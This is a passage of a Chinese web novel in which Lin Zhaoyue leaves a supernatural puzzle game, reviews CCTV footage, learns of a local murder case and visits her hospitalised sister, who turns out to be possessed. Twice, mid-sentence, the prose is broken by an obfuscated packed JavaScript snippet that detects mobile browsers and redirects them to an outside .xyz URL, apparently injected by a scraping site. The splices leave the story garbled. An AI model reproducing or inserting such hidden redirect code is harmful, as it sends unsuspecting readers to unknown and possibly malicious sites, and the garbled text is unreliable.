一个大活人就这么不见了!再看右边,本该在那里的高庆晴也消失不见。 南黎川和刘悦也不见了。 这里只剩她了。 空间的凝滞被打破,恢复动态。 林昭月如先前一般张开双臂,稳定身体。出乎预料的是她竟没有下落,而是缓缓向上飘去。 初时速度缓慢,渐渐快起来。 上方似有一股吸力,引她从来的方向回,归往现实世界。 林昭月喊道:“打开个人面板。” 角色:林昭月 种族:人类 力量:12+2(你身体健康,肢体反应速度极快) 智力:23+3(你非常聪明) 体力:45/100(你现在不饿,但注意睡眠也是体力值的重要因素,你需要好好休息一下。) 幸运值:5+1 天赋技能:心契。描述(残缺):你可以选定一名心动对象,进行体/液交换,达成契约,增加法力属性,并获得法力值5点。契约时效,一个游戏副本。契约期间,心动对象死亡,天赋永久冻结。 林昭月逐条查看个人面板,发现各项数值都有一些提升。正如天赋“心契”描述,契约时效为一个副本,法力值一栏在离开副本之后,直接消失不见。 不能累积法力值,让“心契”这一天赋的缺陷极为明显。 优势,战力很强,一重契约达成的时候,她要是遇上清洁工,不用借助外物就可以解决他。不过,林昭月是个谨慎的人。可以不直接动手的,还是设局弄死对方为妙。 每个副本可以更换契约者,不是一直绑定某一人,既是优点,也是缺点。 优势在于她的天赋不易被猜中,也不容易被心动对象裹挟,缺点是遇到一个没有心动对象的副本,则无法使用天赋。 这种情况,遇到再说吧。 韩东说过,每个玩家的天赋都有缺陷。 这应该是一句真话。 以韩东为例,大致得知对方天赋时,她立刻就想到三个缺陷: 若遇到没有手的对手,无法施展技能。 达成牵手条件不易,持续的牵手更难。加上她在内,只是一个副本,韩东的技能施放就被打断过三次。 第三个缺陷极端一点,假如他遇到没有情绪波动的对手,极易被反杀。感受不到快乐的人虽少,但不是没有,那些东西体会不到愉悦情绪者其实更多。 林昭月向上看去,一行行金光闪烁的立体文字从上方飘下来。 一、禁止在游戏以外的世界,提及拼图游戏。初次警告,再犯抹杀。 二、离开拼图游戏,天赋技能禁用。 三、期待与你下次相遇。 撞开文字之后,她看到一束白光。 从上方穿透水墨世界,耀眼夺目。 林昭月伸手捂住眼睛,身体随即一沉,脚下踩踏实地的感觉让人一阵恍惚。放下手臂,她睁开眼睛,看到波光粼粼的江面。 旁边的石墩上蹲着一只猫,用圆溜溜的眼睛审视着她。 林昭月看到它,也是一阵恍惚:“你还没走……” 橘猫跳下石墩,落在她的脚上。 尾巴一甩,扬长而去。 林昭月:“……” 林昭月看向腕表,来到江边的时候,她看过时间。现在距离那时,只过去不到十分钟,空白碎片是她吃完鸡肉肠之后融化的,也就是说在副本里度过的三天两夜,在现实世界里不过是区区五分钟。 拼图游戏还有改变时间流速的能力? 她知晓的当世科技,绝没有发展到如此程度。 林昭月的心又是一沉,摊开右手,手心里躺着一枚空白的拼图碎片。 妹妹小雪送给她的那一枚,又是从哪得来的呢? 晨起锻炼的老年人们结伴从身边小跑而过,议论着等会去排队领鸡蛋的安排。 林昭月回过神来,将空白拼图贴身放好,视线环顾周围,很快找到自己想要的东西。 一家位于江边广场的便利店,店外安装有摄像头,正好可以覆盖她站立的区域。不过,店内的卷帘门还没打开,她走到对面,在店门外等候。 这种店一般不会太晚开门。果然,没过多久就见一个四十多岁的男人骑着共享单车停在店门口。下车之后,掏出钥匙拉开门。 “美女,别挡路。” 男人抬起头看到林昭月,指着对面的石墩说:“想休息去旁边坐,这里没有座位给你的。” 林昭月说:“买东西。” 男人打开灯,问她要什么。 货架上的东西有限,摆在最外面的是矿泉水、饮料和零食,林昭月肚子早已饿得咕咕作响,进副本时的状态是什么样子,出来还是什么样子。她的饥饿数值化,一百分只有十二分。目光巡视一圈,指着一袋老面包说:“这个给我一袋,多少钱?” 男人对货物的价格并不熟悉,拿下来翻看外袋上贴着的价签,这才说:“八块。” 林昭月还买了一瓶矿泉水,就着冰凉的矿泉水吃面包。生理上她很饿,心理上她却是饱的,吃相慢条斯理,并不着急。 男人说:“美女,看你吃东西还怪有食欲的。” “因为面包很美味,”林昭月咽下最后一口面包,指着摄像头说:“我想看一下监控录像。” 男人问:“我不是老板,只是被请来看店的。不会弄这东西,调不出录像。” 林昭月拿出一百块,放在收银台上。 男人说:“我并非见钱眼开之人……” 林昭月又拿出一百块。 男人说:“但现在反正没事做,助人为快乐之本。我可以研究一下怎么调监控!” 男人没有研究出来,监控录像是林昭月自己调出来的,她把时间线往自己回归之前拉十分钟,男店员好奇地询问:“美女,你调监控干嘛?” 林昭月说:“我东西被抢了,看监控找抢/劫/犯。” 男店员一听来兴致了,眼睛盯着监控画面,不肯挪步。 他的反应正中林昭月下怀,拼图游戏有不可在现实世界中提及的禁令,但监控要是记录下不可思议的一幕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507426|169298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,刚好被人看见,绝不算她主动提及。 画面中,林昭月面朝江水,背对摄像头,拍下来的自然是她的背影。这时的每一个动作和她记忆中都没有出入,吃鸡肉肠、从包上拆下空白拼图,举起来对准朝阳,然而,拼图融化的奇景在摄像头里并未出现,地面自然也没有融化。 “她”好好地站在原地,然而石墩上骂骂咧咧的橘猫却敏锐地察觉到异常,一时间毛发炸开,背脊拱起,盯着“她”的眼睛瞬间瞪得滚圆,散发寒光。 整只猫看起来极具威胁性,尽显流浪者的本色。 “她”将手中的拼图放进外套的口袋里,然后低头看向流浪猫。 林昭月百分之百确定,这个时间她已经进入拼图游戏。那么,谁在使用她的身体? 这件事不能深想,一想就让人背脊发凉。 监控录像里,场面一度陷入僵持之势。 三分十二秒之后,画面中的人类忽然抬起胳膊遮住眼睛,仿佛忽然难以适应当前的亮度一般,仅仅是一个背影都显露出恍惚、迷茫、劫后余生等复杂的情绪。 橘猫依旧盯着人类,攻击的姿态却是消失不见。 这个时候,已经是回归的林昭月。 橘猫似乎也发现这一点,尾巴一甩放心地离开了。 男店员忽然开口:“你说的抢劫犯不会是猫吧?” “……不!猫好,人坏。” 林昭月深感惭愧。哪怕遇到白嫖的人类,猫也愿意替她看守身体,还不收保护费。 她早就消失的良心重新长出来了。 “你这里有猫粮卖吗?” 男店员:“……有,你到底被谁抢劫了?” 林昭月叹息一声:“大概是命运吧。” 男店员:“……” 大清早的遇上蛇精病,但报警是不可能报警的,不然揣进兜里的200块没办法解释。 便利店里有猫粮,但不知是不是这一款口感不好,橘猫不屑一顾,并领着没眼色的两脚兽来到便利店,在放着鸡肉肠的货架前来回踱步。 林昭月:“猫吃人类的食物对健康不利吧?” “喵喵喵喵喵~” 林昭月:“……” 她屈服了。 毕竟,酒对肝不好人类爱喝。 烟对肺不好吸的人也不少。 橘猫吃到鸡肉肠,扬长而去。 刚好有一辆的士经过,林昭月拦下车钻进去,报出地址之后,用手机搜索拼图游戏相关的词条。她没抱什么希望,搜出来的东西也的确和她想找的八竿子打不着。 司机是个中年男人,挂着耳麦一直在打电话。 “你听说海市兄弟惨案没有?” “这么大的新闻,你都不晓得。啧啧啧,我跟你说哦!特别凶残,凶手一周之内连杀三人,被杀的三个人还是亲兄弟。你说不是有天大的仇怨,谁会追着一家人杀。凶手特别嚣张,还在老三家的地板上留下一行血字……” “什么字?” 林昭月忽然出声,把司机吓得一哆嗦。 “幺妹,你干哈子忽然开腔?嘿死个人咯。” 林昭月说:“凶手留下的是什么字?” 司机讲的凶杀案让她想起女尸,离开拼图游戏之前,她还劝女尸报仇来着。 “我啷个知道,警方肯定要封锁消息撒。” 司机说完,捂着耳机解释道:“我的乖儿,说话的是客人。是是是,真的是乘客,我列个人撒子脾气你还晓不得嘛,啷个可能乱搞嘛。你听,你自己听,是不是喇叭声?车在路上跑着的,人家妹儿就是对凶杀案感兴趣。” 林昭月见他忙着和电话那一头的人说话,便自己搜索“兄弟凶杀案”的信息。第一起案件发生在两周之前,传闻是有血字留下来,但消息的确遭到封锁,毕竟凶杀现场留字有挑衅警方的嫌疑,为控制影响的考虑,不对民众公布也是有道理的。 她点进一个链接。 某热点案件讨论吧,置顶的便是“兄弟案件”的分析帖,楼主声称有老三死亡现场的血字照片。 林昭月一拉到底,照片已经露出一角。 21.现实世界(二) 林昭月继续往下拉,旋转的符号意味着图片缓冲中。 提着的一口气,顿时噎在胸口。 “妹儿,到地方了。” 林昭月见占据半个手机的图片还没缓冲完成,只得先扫码付款。 的士扬长而去,她站在小区门口,将分析帖从后台放出来。缓冲已经完成,但刷出来的图片白底黑字——禁止传播违规违纪内容,吧友们请做守法公民。 艹 ,被涮了! 她继续翻找相关的报道,对案件了解更为全面了。三名被害者都年逾六十,岁数明显和女尸儿子不符,而且最后一起案子发生在上周二。 女尸就算能来到现实世界,那也不可能比她还先一步抵达。 而且游戏世界的怪物真的能来到现实,现实世界不早就乱套了? 看来只是一个巧合,林昭月放心下来,走进小区。 姐妹俩居住在出生地C市,城市附近山林众多,依江而建。刚四月,气温还不稳定,有时候今天和前一天的温度可以相差10~15摄氏度。 今天则是一早需要穿外套,但等林昭月到家的时候,气温升上来则是穿短袖都会出汗。 身处拼图游戏里的三天两夜,林昭月和洗漱无缘,总有一种自己已经馊掉的感觉。事实上,自然是不可能,从现实生活的角度她只“消失”五分钟而已,还不是真的消失。 到家之后,自然是先洗澡更换衣物。 从浴室里出来,首先映入眼帘的是墙面上挂着的合影,最大的两张挂在正中央,其余的照片以由大到小的方式布满整张沙发墙。 小时候的照片偏少,哪怕姐妹俩在福利院过得不错,也难有谁特地为两人拍照以做留念。自从林昭月离开福利院之后,她们的照片就渐渐多起来。 屋内空间有限,沙发前面没有放茶几,而是铺着一张柔软的地毯。 林昭月从和妹妹共同的房间里换好衣服走出来,坐在地毯上,放眼看向阳台。只有六个平米的开放式区域里,错落有致地摆放着花盆,木质花架的承托带来十足的立体感。 春日的花朵含羞待放,一丛丛灿烂的三角梅自屋檐处往下生长。没有一个从楼下经过的人会不赞叹它的美,房子里的主人自然更能轻易的欣赏它的花和叶。 这套小房子是林昭月四年前买下来的,面积不大,但里面的每一处都由妹妹林沉雪亲手布置,花费的心血常人难以想象。 为的就是让姐妹俩在打开门的那一刻就放松下来,卸去一天的辛劳。 这里是她们的家。 林昭月深深地舒出一口气,向后仰靠在沙发坐垫上。 现在是白天,晚上打开氛围灯,可以在家里看到星空。天花板上的挂式投影仪上有一层薄薄的灰,应该是许久没有清理过了。 小雪对家的维护总是无微不至,到底是从什么时候开始疏于家务的呢? 明显的变化可以追溯到三个月前,就是那时小雪提出住校,不再每日往返学校和家中。 其实家和小雪的学校距离较远,林昭月早就询问她是否要住校,但被小雪拒绝。这孩子自小就很黏她,加上已经有新家不愿意再过集体生活的心可以理解,她没有深劝。 这次住校,理由是已经大三,学业比以往更重。 林昭月没有深究,孩子长大总有自己的秘密。要是想谈个恋爱什么的,她作为一个开明的家长愿意支持。 以往她还担心孩子太恋姐,难以过上正常的生活。 现在看来,小雪的变化是因为拼图游戏,而不是虚无缥缈的恋爱对象。 小雪自/杀距今已有一周,林昭月调查过妹妹的社交圈子,没发现学校、实习单位、朋友中有令她轻生的理由。 事实上,小雪因为长相靓丽,成绩优异,性格温柔,厨艺极佳等多项BUFF叠加,一向人缘极好,上至80岁老人,下到刚出生的婴孩,没有不喜欢她的。 这种类型的学生,不容易遇到极端事件。 林昭月只得查妹妹的财务状况,结论是很健康。并无借贷、赌/博、遭遇诈/骗、替人背锅遭祸等情况,已经打算进一步调查突发情况。 她已经做好最坏的打算,也深知有些伤害就是来得很突然,但还没来得及去查,已经获得新的线索。 原来一切都是因为一个超现实的诡异游戏……若非自己也被拉进游戏里,可能永远无法调查出真相。 空白碎片是小雪送给她的,知道会把她拖入危险的境地还要这么做。证明小雪早就料到,自己会出事。 这是一重保险。 同时也意味着,她不进拼图游戏,遇到的危险会比在副本中丧生更大。 这些,或许应该直接询问尚在医院的小雪。 林昭月把头埋在猫咪抱枕里,深吸一口气。柔软的抱枕里还残留着芳香剂的味道,是淡淡的橘子香味。自从有自己的家,芳香剂的品牌和味道没有更换过,她一闻到这个气味,就会觉得放松。 从抱枕里抬起脸,林昭月站起来,这时手机的电量已经重新满格,就如她的状态一样,已经彻底稳定下来。 她换上鞋子离开家中。 这次没有选择步行,几分钟后便到达医院。 林沉雪住在普外科病房,医院住院部五楼7号房,20床。 林昭月一进普外科先去护士站,小护士认识她,对她说:“精神科下来会诊的医生已经走了。她的意思是病人不愿意吃进食,还是需要亲属开导,就你妹妹的情况,目前还不需要用药。” 精神科会诊,正是林昭月今天一大早赶往医院的原因。 小雪的伤势并不算严重,严格来说入院的第三天就可以办理出院手续。可她一见林昭月就非常激动,根本不愿意沟通。 这种情况下,把她放在医院,自然比她放在家里更安心。 家属要求给病人做身体检查,医院自然不会赶人。加上小雪身体确实虚弱——她不吃饭,也不是一日三餐完全不吃,但她吃得很少,根本不够维持身体的正常机能。 这种病人不能非劝她吃,医院只得给她输营养液。 林昭月想守着妹妹,但小雪不让她守,只能请护工。 对于护工,林沉雪倒并不排斥,但也不和护工说话。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15513217|169298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 事实上,林沉雪不和任何人交流。 害怕有难听的话传进学校里,林昭月和小雪的辅导员说明情况之后,以亲人过世为理由,暂时办理休学手续。朋友、同学之类的,一应都瞒着。校方很配合,只怕已经在暗自庆幸学生是在家里出事的,赖不着学校。 心理医生没办法,现在的林昭月并不怎么失望。她走向7号房,一个七八岁的小女孩站在门口,指着她大哭起来。 原来是她一脚踩中小女孩掉在地上的千纸鹤,又变形又脏的纸小鸟死得透彻,没有重生的可能性。 “哇哇哇——” 林昭月抬起脚后,小女孩哭得更加伤心。 “姐姐给你折一只,别哭了。” 小女孩抽抽噎噎问:“你会吗?” 刚学的热乎技能,当然不会这么快忘掉。林昭月接过女孩递来的纸张,很快折出一只漂亮的粉色千纸鹤,小女孩露出一个天真的笑容。半边脸的烫伤,让她看起来和可爱不沾边,林昭月没有露出异样,将千纸鹤递给她。 女孩的身后站着一个穿着病服的小姑娘,正是林沉雪。 21岁的林沉雪长发披肩,皮肤雪白,即使冷着一张俏脸依旧明艳动人,但在林昭月的心里,她永远都是会拉着自己的衣摆,哭着说要和她永远在一起的小孩。 四目相对,林昭月不敢先出声,害怕刺激到小雪。 “我想吃东西。” 林沉雪说话了。 这是她进医院以来,第一次主动和林昭月说话。 林昭月眉眼都弯成笑弧,连声说:“我下楼去给你买……”但想起医生说小雪要多走动,看看外面的风景,又说:“医院的东西不好吃,我带你带外面吃。” 林沉雪点点头。 林昭月带着林沉雪来到医院对面的一家餐厅,按照妹妹的口味点的三菜一汤。 吃饭的时候,姐妹俩都没有说话,林昭月只觉得氛围温馨无比,很久都没有这样的时刻了。不禁觉得后怕,幸好她通关副本回到了现实世界。否则,小雪会失去唯一的亲人。 “我去一下卫生间,你就在这里等我。” 林昭月站起来,见林沉雪点头才离开。她从卫生间里走出来的时候,见偌大的饭店空落落的,只有两桌人。 一桌是饭店店员们在吃迟来的午餐,现在已经过饭点了。 另一桌独自坐着林沉雪,垂着头凝滞不动,她的沉默影响整间饭店,不仅饭店的店员们进食变得沉寂无声,每个人都面带丧容,就连阳光都被拦在门槛外,不能照进店内。 听到脚步声,林沉雪缓缓抬起头。垂落的长发遮住她的面容,只能看到一截苍白的下巴。 明明是最熟悉的人,只是一个背影就能让她在人群中一眼锁定的亲人,此刻却显得无比陌生。 莫名的寒意袭上林昭月的心头,她走过去,问道:“小雪,你在干什么?” 林沉雪扭动脖子,露出一只向上翻的眼睛,红血丝暴涨密布眼眶。 “小雪……” 林沉雪嘴唇勾起一个僵硬的弧度,脆声说:“欢迎登陆拼图游戏。”